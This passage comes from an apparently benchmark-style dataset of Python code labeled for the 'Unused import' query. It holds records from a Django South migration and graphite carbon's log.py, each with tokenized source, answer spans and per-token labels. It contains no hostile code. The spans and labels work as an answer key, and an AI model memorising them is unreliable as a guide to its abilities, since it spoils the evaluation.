"._",
"info_",
"(_",
"'",
"Initializ",
"ing",
" ",
"Modul",
"e",
" ",
"%",
"s",
".'_",
"%_",
"self_",
"._",
"\\u",
"name_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"self_",
"._",
"parameters_",
"=_",
"parameters_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"p_",
"=_",
"parameters_",
"[_",
"self_",
"._",
"\\u",
"name_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"results_",
"=_",
"results_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"modules_",
"=_",
"modules_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"self_",
"._",
"\\u\\u",
"container",
"\\u",
"map_",
"=_",
"{_",
"}_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"No",
"w",
",",
" ",
"call",
" ",
"the",
" ",
"per",
"-",
"class",
" ",
"setup",
" ",
"method_",
"\\u\\u\\uNL\\u\\u\\u_",
"self_",
"._",
"setup_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"self_",
"._",
"log_",
"._",
"debug_",
"(_",
"\"",
"Modul",
"e",
" ",
"%",
"s",
" ",
"set",
" ",
"up",
".\"_",
"%_",
"self_",
"._",
"\\u",
"name_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_"
]
| [
4,
4,
4,
4,
4,
4,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
0,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2
]
|
Unused import | globocom/database-as-a-service/dbaas/notification/migrations/0003_auto__del_field_taskhistory_description__add_field_taskhistory_details.py | [
{
"content": "# -*- coding: utf-8 -*-\nimport datetime\nfrom south.db import db\nfrom south.v2 import SchemaMigration\nfrom django.db import models\n\n\n",
"metadata": "root",
"header": "['module', '___EOS___']",
"index": 0
},
{
"content": "class Migration(SchemaMigration):\n\n\n\n models = {\n u'notification.taskhistory': {\n 'Meta': {'object_name': 'TaskHistory'},\n 'arguments': ('django.db.models.fields.TextField', [], {'null': 'True', 'blank': 'True'}),\n 'context': ('django.db.models.fields.TextField', [], {'null': 'True', 'blank': 'True'}),\n 'created_at': ('django.db.models.fields.DateTimeField', [], {'auto_now_add': 'True', 'blank': 'True'}),\n 'details': ('django.db.models.fields.TextField', [], {'null': 'True', 'blank': 'True'}),\n 'ended_at': ('django.db.models.fields.DateTimeField', [], {'null': 'True', 'blank': 'True'}),\n u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),\n 'task_id': ('django.db.models.fields.CharField', [], {'max_length': '200', 'null': 'True', 'blank': 'True'}),\n 'task_name': ('django.db.models.fields.CharField', [], {'max_length': '200', 'null': 'True', 'blank': 'True'}),\n 'task_status': ('django.db.models.fields.CharField', [], {'default': \"u'PENDING'\", 'max_length': '100'}),\n 'updated_at': ('django.db.models.fields.DateTimeField', [], {'auto_now': 'True', 'blank': 'True'}),\n 'user': ('django.db.models.fields.CharField', [], {'max_length': '255', 'null': 'True', 'blank': 'True'})\n }\n }\n\n complete_apps = ['notification']",
"metadata": "root.Migration",
"header": "['module', '___EOS___']",
"index": 7
},
{
"content": " def forwards(self, orm):\n # Deleting field 'TaskHistory.description'\n db.delete_column(u'notification_taskhistory', 'description')\n\n # Adding field 'TaskHistory.details'\n db.add_column(u'notification_taskhistory', 'details',\n self.gf('django.db.models.fields.TextField')(\n null=True, blank=True),\n keep_default=False)",
"metadata": "root.Migration.forwards",
"header": "['class', 'Migration', '(', 'SchemaMigration', ')', ':', '___EOS___']",
"index": 9
},
{
"content": " def backwards(self, orm):\n # Adding field 'TaskHistory.description'\n db.add_column(u'notification_taskhistory', 'description',\n self.gf('django.db.models.fields.TextField')(\n null=True, blank=True),\n keep_default=False)\n\n # Deleting field 'TaskHistory.details'\n db.delete_column(u'notification_taskhistory', 'details')",
"metadata": "root.Migration.backwards",
"header": "['class', 'Migration', '(', 'SchemaMigration', ')', ':', '___EOS___']",
"index": 19
}
]
| [
{
"span": "import datetime",
"start_line": 1,
"start_column": 0,
"end_line": 1,
"end_column": 15
},
{
"span": "from django.db import models",
"start_line": 4,
"start_column": 0,
"end_line": 4,
"end_column": 28
}
]
| []
| 1 | false | [
"[CLS]_",
"Un",
"used_",
"import_",
"[SEP]_",
"module_",
"\\u\\u\\uEOS\\u\\u\\u_",
"#",
" ",
"-*-",
" ",
"codi",
"ng",
":",
" ",
"utf",
"-",
"8",
" ",
"-*-",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"import_",
"datetime_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"from_",
"south_",
"._",
"db_",
"import_",
"db_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"from_",
"south_",
"._",
"v2_",
"import_",
"Schema",
"Migration_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"from_",
"django_",
"._",
"db_",
"import_",
"models_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"[SEP]_",
"module_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"class_",
"Migration_",
"(_",
"Schema",
"Migration_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"models_",
"=_",
"{_",
"\\u\\u\\uNL\\u\\u\\u_",
"u",
"'",
"notification",
".",
"task",
"histo",
"ry",
"'_",
":_",
"{_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"Meta",
"'_",
":_",
"{_",
"'",
"object\\u",
"name",
"'_",
":_",
"'",
"Task",
"Hist",
"ory",
"'_",
"}_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"argu",
"ment",
"s",
"'_",
":_",
"(_",
"'",
"django",
".",
"db",
".",
"model",
"s",
".",
"fields",
".",
"Text",
"Field",
"'_",
",_",
"[_",
"]_",
",_",
"{_",
"'",
"null",
"'_",
":_",
"'",
"Tru",
"e",
"'_",
",_",
"'",
"blank",
"'_",
":_",
"'",
"Tru",
"e",
"'_",
"}_",
")_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"context",
"'_",
":_",
"(_",
"'",
"django",
".",
"db",
".",
"model",
"s",
".",
"fields",
".",
"Text",
"Field",
"'_",
",_",
"[_",
"]_",
",_",
"{_",
"'",
"null",
"'_",
":_",
"'",
"Tru",
"e",
"'_",
",_",
"'",
"blank",
"'_",
":_",
"'",
"Tru",
"e",
"'_",
"}_",
")_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"created",
"\\u",
"at",
"'_",
":_",
"(_",
"'",
"django",
".",
"db",
".",
"model",
"s",
".",
"fields",
".",
"Date",
"Time",
"Field",
"'_",
",_",
"[_",
"]_",
",_",
"{_",
"'",
"auto",
"\\u",
"now",
"\\u",
"add",
"'_",
":_",
"'",
"Tru",
"e",
"'_",
",_",
"'",
"blank",
"'_",
":_",
"'",
"Tru",
"e",
"'_",
"}_",
")_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"deta",
"il",
"s",
"'_",
":_",
"(_",
"'",
"django",
".",
"db",
".",
"model",
"s",
".",
"fields",
".",
"Text",
"Field",
"'_",
",_",
"[_",
"]_",
",_",
"{_",
"'",
"null",
"'_",
":_",
"'",
"Tru",
"e",
"'_",
",_",
"'",
"blank",
"'_",
":_",
"'",
"Tru",
"e",
"'_",
"}_",
")_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"ende",
"d\\u",
"at",
"'_",
":_",
"(_",
"'",
"django",
".",
"db",
".",
"model",
"s",
".",
"fields",
".",
"Date",
"Time",
"Field",
"'_",
",_",
"[_",
"]_",
",_",
"{_",
"'",
"null",
"'_",
":_",
"'",
"Tru",
"e",
"'_",
",_",
"'",
"blank",
"'_",
":_",
"'",
"Tru",
"e",
"'_",
"}_",
")_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"u",
"'",
"id",
"'_",
":_",
"(_",
"'",
"django",
".",
"db",
".",
"model",
"s",
".",
"fields",
".",
"Auto",
"Field",
"'_",
",_",
"[_",
"]_",
",_",
"{_",
"'",
"primary",
"\\u",
"key",
"'_",
":_",
"'",
"Tru",
"e",
"'_",
"}_",
")_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"task",
"\\u",
"id",
"'_",
":_",
"(_",
"'",
"django",
".",
"db",
".",
"model",
"s",
".",
"fields",
".",
"Char",
"Field",
"'_",
",_",
"[_",
"]_",
",_",
"{_",
"'",
"max",
"\\u",
"length",
"'_",
":_",
"'",
"200",
"'_",
",_",
"'",
"null",
"'_",
":_",
"'",
"Tru",
"e",
"'_",
",_",
"'",
"blank",
"'_",
":_",
"'",
"Tru",
"e",
"'_",
"}_",
")_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"task",
"\\u",
"name",
"'_",
":_",
"(_",
"'",
"django",
".",
"db",
".",
"model",
"s",
".",
"fields",
".",
"Char",
"Field",
"'_",
",_",
"[_",
"]_",
",_",
"{_",
"'",
"max",
"\\u",
"length",
"'_",
":_",
"'",
"200",
"'_",
",_",
"'",
"null",
"'_",
":_",
"'",
"Tru",
"e",
"'_",
",_",
"'",
"blank",
"'_",
":_",
"'",
"Tru",
"e",
"'_",
"}_",
")_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"task",
"\\u",
"status",
"'_",
":_",
"(_",
"'",
"django",
".",
"db",
".",
"model",
"s",
".",
"fields",
".",
"Char",
"Field",
"'_",
",_",
"[_",
"]_",
",_",
"{_",
"'",
"default",
"'_",
":_",
"\"",
"u",
"'",
"PEND",
"ING",
"'\"_",
",_",
"'",
"max",
"\\u",
"length",
"'_",
":_",
"'",
"100",
"'_",
"}_",
")_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"update",
"d\\u",
"at",
"'_",
":_",
"(_",
"'",
"django",
".",
"db",
".",
"model",
"s",
".",
"fields",
".",
"Date",
"Time",
"Field",
"'_",
",_",
"[_",
"]_",
",_",
"{_",
"'",
"auto",
"\\u",
"now",
"'_",
":_",
"'",
"Tru",
"e",
"'_",
",_",
"'",
"blank",
"'_",
":_",
"'",
"Tru",
"e",
"'_",
"}_",
")_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"user",
"'_",
":_",
"(_",
"'",
"django",
".",
"db",
".",
"model",
"s",
".",
"fields",
".",
"Char",
"Field",
"'_",
",_",
"[_",
"]_",
",_",
"{_",
"'",
"max",
"\\u",
"length",
"'_",
":_",
"'",
"255",
"'_",
",_",
"'",
"null",
"'_",
":_",
"'",
"Tru",
"e",
"'_",
",_",
"'",
"blank",
"'_",
":_",
"'",
"Tru",
"e",
"'_",
"}_",
")_",
"\\u\\u\\uNL\\u\\u\\u_",
"}_",
"\\u\\u\\uNL\\u\\u\\u_",
"}_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"complete",
"\\u",
"apps_",
"=_",
"[_",
"'",
"notification",
"'_",
"]_",
"[SEP]_",
"class_",
"Migration_",
"(_",
"Schema",
"Migration_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"def_",
"forwards_",
"(_",
"self_",
",_",
"orm_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"#",
" ",
"Del",
"eti",
"ng",
" ",
"field",
" ",
"'",
"Task",
"Hist",
"ory",
".",
"description",
"'_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"db_",
"._",
"delete",
"\\u",
"column_",
"(_",
"u",
"'",
"notification",
"\\u",
"task",
"histo",
"ry",
"'_",
",_",
"'",
"description",
"'_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"Add",
"ing",
" ",
"field",
" ",
"'",
"Task",
"Hist",
"ory",
".",
"deta",
"il",
"s",
"'_",
"\\u\\u\\uNL\\u\\u\\u_",
"db_",
"._",
"add",
"\\u",
"column_",
"(_",
"u",
"'",
"notification",
"\\u",
"task",
"histo",
"ry",
"'_",
",_",
"'",
"deta",
"il",
"s",
"'_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"self_",
"._",
"gf_",
"(_",
"'",
"django",
".",
"db",
".",
"model",
"s",
".",
"fields",
".",
"Text",
"Field",
"'_",
")_",
"(_",
"\\u\\u\\uNL\\u\\u\\u_",
"null_",
"=_",
"True_",
",_",
"blank_",
"=_",
"True_",
")_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"keep",
"\\u",
"default_",
"=_",
"False_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"Migration_",
"(_",
"Schema",
"Migration_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"backwards_",
"(_",
"self_",
",_",
"orm_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"#",
" ",
"Add",
"ing",
" ",
"field",
" ",
"'",
"Task",
"Hist",
"ory",
".",
"description",
"'_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"db_",
"._",
"add",
"\\u",
"column_",
"(_",
"u",
"'",
"notification",
"\\u",
"task",
"histo",
"ry",
"'_",
",_",
"'",
"description",
"'_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"self_",
"._",
"gf_",
"(_",
"'",
"django",
".",
"db",
".",
"model",
"s",
".",
"fields",
".",
"Text",
"Field",
"'_",
")_",
"(_",
"\\u\\u\\uNL\\u\\u\\u_",
"null_",
"=_",
"True_",
",_",
"blank_",
"=_",
"True_",
")_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"keep",
"\\u",
"default_",
"=_",
"False_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"Del",
"eti",
"ng",
" ",
"field",
" ",
"'",
"Task",
"Hist",
"ory",
".",
"deta",
"il",
"s",
"'_",
"\\u\\u\\uNL\\u\\u\\u_",
"db_",
"._",
"delete",
"\\u",
"column_",
"(_",
"u",
"'",
"notification",
"\\u",
"task",
"histo",
"ry",
"'_",
",_",
"'",
"deta",
"il",
"s",
"'_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_"
]
| [
4,
4,
4,
4,
4,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
0,
1,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
0,
1,
1,
1,
1,
1,
2,
2,
2,
2,
4,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2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2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2
]
|
Unused import | graphite-project/carbon/lib/carbon/log.py | [
{
"content": "import os\nimport time\nfrom sys import stdout, stderr\nfrom zope.interface import implements\nfrom twisted.python.log import startLoggingWithObserver, textFromEventDict, msg, err, ILogObserver\nfrom twisted.python.syslog import SyslogObserver\nfrom twisted.python.logfile import DailyLogFile\n\n\n\n \n\ncarbonLogObserver = CarbonLogObserver()\n\n\n\n\nlogToDir = carbonLogObserver.log_to_dir\n\nlogToSyslog = carbonLogObserver.log_to_syslog\n\n\n\n\n\n\n\n\n\n\n\ndebugEnabled = False\n",
"metadata": "root",
"header": "['module', '___EOS___']",
"index": 0
},
{
"content": "class CarbonLogFile(DailyLogFile):\n \"\"\"Overridden to support logrotate.d\"\"\"\n\n\n\n\n # Backport from twisted >= 10",
"metadata": "root.CarbonLogFile",
"header": "['module', '___EOS___']",
"index": 9
},
{
"content": " def __init__(self, *args, **kwargs):\n DailyLogFile.__init__(self, *args, **kwargs)\n # avoid circular dependencies\n from carbon.conf import settings\n self.enableRotation = settings.ENABLE_LOGROTATION",
"metadata": "root.CarbonLogFile.__init__",
"header": "['class', 'CarbonLogFile', '(', 'DailyLogFile', ')', ':', '___EOS___']",
"index": 11
},
{
"content": " def _openFile(self):\n \"\"\"\n Fix Umask Issue https://twistedmatrix.com/trac/ticket/7026\n \"\"\"\n openMode = self.defaultMode or 0777\n self._file = os.fdopen(os.open(\n self.path, os.O_CREAT|os.O_RDWR, openMode), 'r+', 1)\n self.closed = False\n # Try our best to update permissions for files which already exist.\n if self.defaultMode:\n try:\n os.chmod(self.path, self.defaultMode)\n except OSError:\n pass\n # Seek is needed for uniformity of stream positioning\n # for read and write between Linux and BSD systems due\n # to differences in fopen() between operating systems.\n self._file.seek(0, os.SEEK_END)\n self.lastDate = self.toDate(os.stat(self.path)[8])",
"metadata": "root.CarbonLogFile._openFile",
"header": "['class', 'CarbonLogFile', '(', 'DailyLogFile', ')', ':', '___EOS___']",
"index": 17
},
{
"content": " def shouldRotate(self):\n if self.enableRotation:\n return DailyLogFile.shouldRotate(self)\n else:\n return False",
"metadata": "root.CarbonLogFile.shouldRotate",
"header": "['class', 'CarbonLogFile', '(', 'DailyLogFile', ')', ':', '___EOS___']",
"index": 37
},
{
"content": " def write(self, data):\n if not self.enableRotation:\n if not os.path.exists(self.path):\n self.reopen()\n else:\n path_stat = os.stat(self.path)\n fd_stat = os.fstat(self._file.fileno())\n if not (path_stat.st_ino == fd_stat.st_ino \n and path_stat.st_dev == fd_stat.st_dev):\n self.reopen()\n DailyLogFile.write(self, data)",
"metadata": "root.CarbonLogFile.write",
"header": "['class', 'CarbonLogFile', '(', 'DailyLogFile', ')', ':', '___EOS___']",
"index": 43
},
{
"content": " def reopen(self):\n self.close()\n self._openFile()",
"metadata": "root.CarbonLogFile.reopen",
"header": "['class', 'CarbonLogFile', '(', 'DailyLogFile', ')', ':', '___EOS___']",
"index": 56
},
{
"content": "class CarbonLogObserver(object):\n implements(ILogObserver)\n\n\n\n\n\n\n # Default to stdout\n observer = stdout_observer",
"metadata": "root.CarbonLogObserver",
"header": "['module', '___EOS___']",
"index": 60
},
{
"content": " def log_to_dir(self, logdir):\n self.logdir = logdir\n self.console_logfile = CarbonLogFile('console.log', logdir)\n self.custom_logs = {}\n self.observer = self.logdir_observer",
"metadata": "root.CarbonLogObserver.log_to_dir",
"header": "['class', 'CarbonLogObserver', '(', 'object', ')', ':', '___EOS___']",
"index": 63
},
{
"content": " def log_to_syslog(self, prefix):\n observer = SyslogObserver(prefix).emit\n def syslog_observer(event):\n event[\"system\"] = event.get(\"type\", \"console\")\n observer(event)\n self.observer = syslog_observer",
"metadata": "root.CarbonLogObserver.log_to_syslog",
"header": "['class', 'CarbonLogObserver', '(', 'object', ')', ':', '___EOS___']",
"index": 69
},
{
"content": " def __call__(self, event):\n return self.observer(event)",
"metadata": "root.CarbonLogObserver.__call__",
"header": "['class', 'CarbonLogObserver', '(', 'object', ')', ':', '___EOS___']",
"index": 76
},
{
"content": " def stdout_observer(self, event):\n stdout.write( formatEvent(event, includeType=True) + '\\n' )\n stdout.flush()",
"metadata": "root.CarbonLogObserver.stdout_observer",
"header": "['class', 'CarbonLogObserver', '(', 'object', ')', ':', '___EOS___']",
"index": 79
},
{
"content": " def logdir_observer(self, event):\n message = formatEvent(event)\n log_type = event.get('type')\n\n if log_type is not None and log_type not in self.custom_logs:\n self.custom_logs[log_type] = CarbonLogFile(log_type + '.log', self.logdir)\n\n logfile = self.custom_logs.get(log_type, self.console_logfile)\n logfile.write(message + '\\n')\n logfile.flush()",
"metadata": "root.CarbonLogObserver.logdir_observer",
"header": "['class', 'CarbonLogObserver', '(', 'object', ')', ':', '___EOS___']",
"index": 83
},
{
"content": "def formatEvent(event, includeType=False):\n event['isError'] = 'failure' in event\n message = textFromEventDict(event)\n\n if includeType:\n typeTag = '[%s] ' % event.get('type', 'console')\n else:\n typeTag = ''\n\n timestamp = time.strftime(\"%d/%m/%Y %H:%M:%S\")\n return \"%s :: %s%s\" % (timestamp, typeTag, message)",
"metadata": "root.formatEvent",
"header": "['module', '___EOS___']",
"index": 101
},
{
"content": "def logToStdout():\n startLoggingWithObserver(carbonLogObserver)",
"metadata": "root.logToStdout",
"header": "['module', '___EOS___']",
"index": 118
},
{
"content": "def cache(message, **context):\n context['type'] = 'cache'\n msg(message, **context)",
"metadata": "root.cache",
"header": "['module', '___EOS___']",
"index": 121
},
{
"content": "def clients(message, **context):\n context['type'] = 'clients'\n msg(message, **context)",
"metadata": "root.clients",
"header": "['module', '___EOS___']",
"index": 125
},
{
"content": "def creates(message, **context):\n context['type'] = 'creates'\n msg(message, **context)",
"metadata": "root.creates",
"header": "['module', '___EOS___']",
"index": 129
},
{
"content": "def updates(message, **context):\n context['type'] = 'updates'\n msg(message, **context)",
"metadata": "root.updates",
"header": "['module', '___EOS___']",
"index": 133
},
{
"content": "def listener(message, **context):\n context['type'] = 'listener'\n msg(message, **context)",
"metadata": "root.listener",
"header": "['module', '___EOS___']",
"index": 137
},
{
"content": "def relay(message, **context):\n context['type'] = 'relay'\n msg(message, **context)",
"metadata": "root.relay",
"header": "['module', '___EOS___']",
"index": 141
},
{
"content": "def aggregator(message, **context):\n context['type'] = 'aggregator'\n msg(message, **context)",
"metadata": "root.aggregator",
"header": "['module', '___EOS___']",
"index": 145
},
{
"content": "def query(message, **context):\n context['type'] = 'query'\n msg(message, **context)",
"metadata": "root.query",
"header": "['module', '___EOS___']",
"index": 149
},
{
"content": "def debug(message, **context):\n if debugEnabled:\n msg(message, **context)",
"metadata": "root.debug",
"header": "['module', '___EOS___']",
"index": 153
},
{
"content": "def setDebugEnabled(enabled):\n global debugEnabled\n debugEnabled = enabled",
"metadata": "root.setDebugEnabled",
"header": "['module', '___EOS___']",
"index": 158
}
]
| [
{
"span": "from sys import stdout, stderr",
"start_line": 2,
"start_column": 0,
"end_line": 2,
"end_column": 30
},
{
"span": "from twisted.python.log import startLoggingWithObserver, textFromEventDict, msg, err, ILogObserver",
"start_line": 4,
"start_column": 0,
"end_line": 4,
"end_column": 98
}
]
| []
| 1 | false | [
"[CLS]_",
"Un",
"used_",
"import_",
"[SEP]_",
"module_",
"\\u\\u\\uEOS\\u\\u\\u_",
"import_",
"os_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"import_",
"time_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"from_",
"sys_",
"import_",
"stdout_",
",_",
"stderr_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"from_",
"zope_",
"._",
"interface_",
"import_",
"implements_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"from_",
"twisted_",
"._",
"python_",
"._",
"log_",
"import_",
"start",
"Log",
"ging",
"With",
"Observer_",
",_",
"text",
"Fro",
"m",
"Event",
"Dict_",
",_",
"msg_",
",_",
"err_",
",_",
"IL",
"og",
"Observer_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"from_",
"twisted_",
"._",
"python_",
"._",
"syslog_",
"import_",
"Sys",
"log",
"Observer_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"from_",
"twisted_",
"._",
"python_",
"._",
"logfile_",
"import_",
"Da",
"il",
"y",
"Log",
"File_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"carbon",
"Log",
"Observer_",
"=_",
"Car",
"bon",
"Log",
"Observer_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"log",
"To",
"Dir_",
"=_",
"carbon",
"Log",
"Observer_",
"._",
"log",
"\\u",
"to",
"\\u",
"dir_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"log",
"To",
"Sys",
"log_",
"=_",
"carbon",
"Log",
"Observer_",
"._",
"log",
"\\u",
"to",
"\\u",
"syslog_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"debug",
"Enabled_",
"=_",
"False_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"[SEP]_",
"module_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"class_",
"Car",
"bon",
"Log",
"File_",
"(_",
"Da",
"il",
"y",
"Log",
"File_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"\"\"\"",
"Over",
"rid",
"den",
" ",
"to",
" ",
"support",
" ",
"logr",
"ota",
"te",
".",
"d",
"\"\"\"_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"Back",
"port",
" ",
"from",
" ",
"twist",
"ed",
" ",
">=",
" ",
"10_",
"\\u\\u\\uNL\\u\\u\\u_",
"[SEP]_",
"class_",
"Car",
"bon",
"Log",
"File_",
"(_",
"Da",
"il",
"y",
"Log",
"File_",
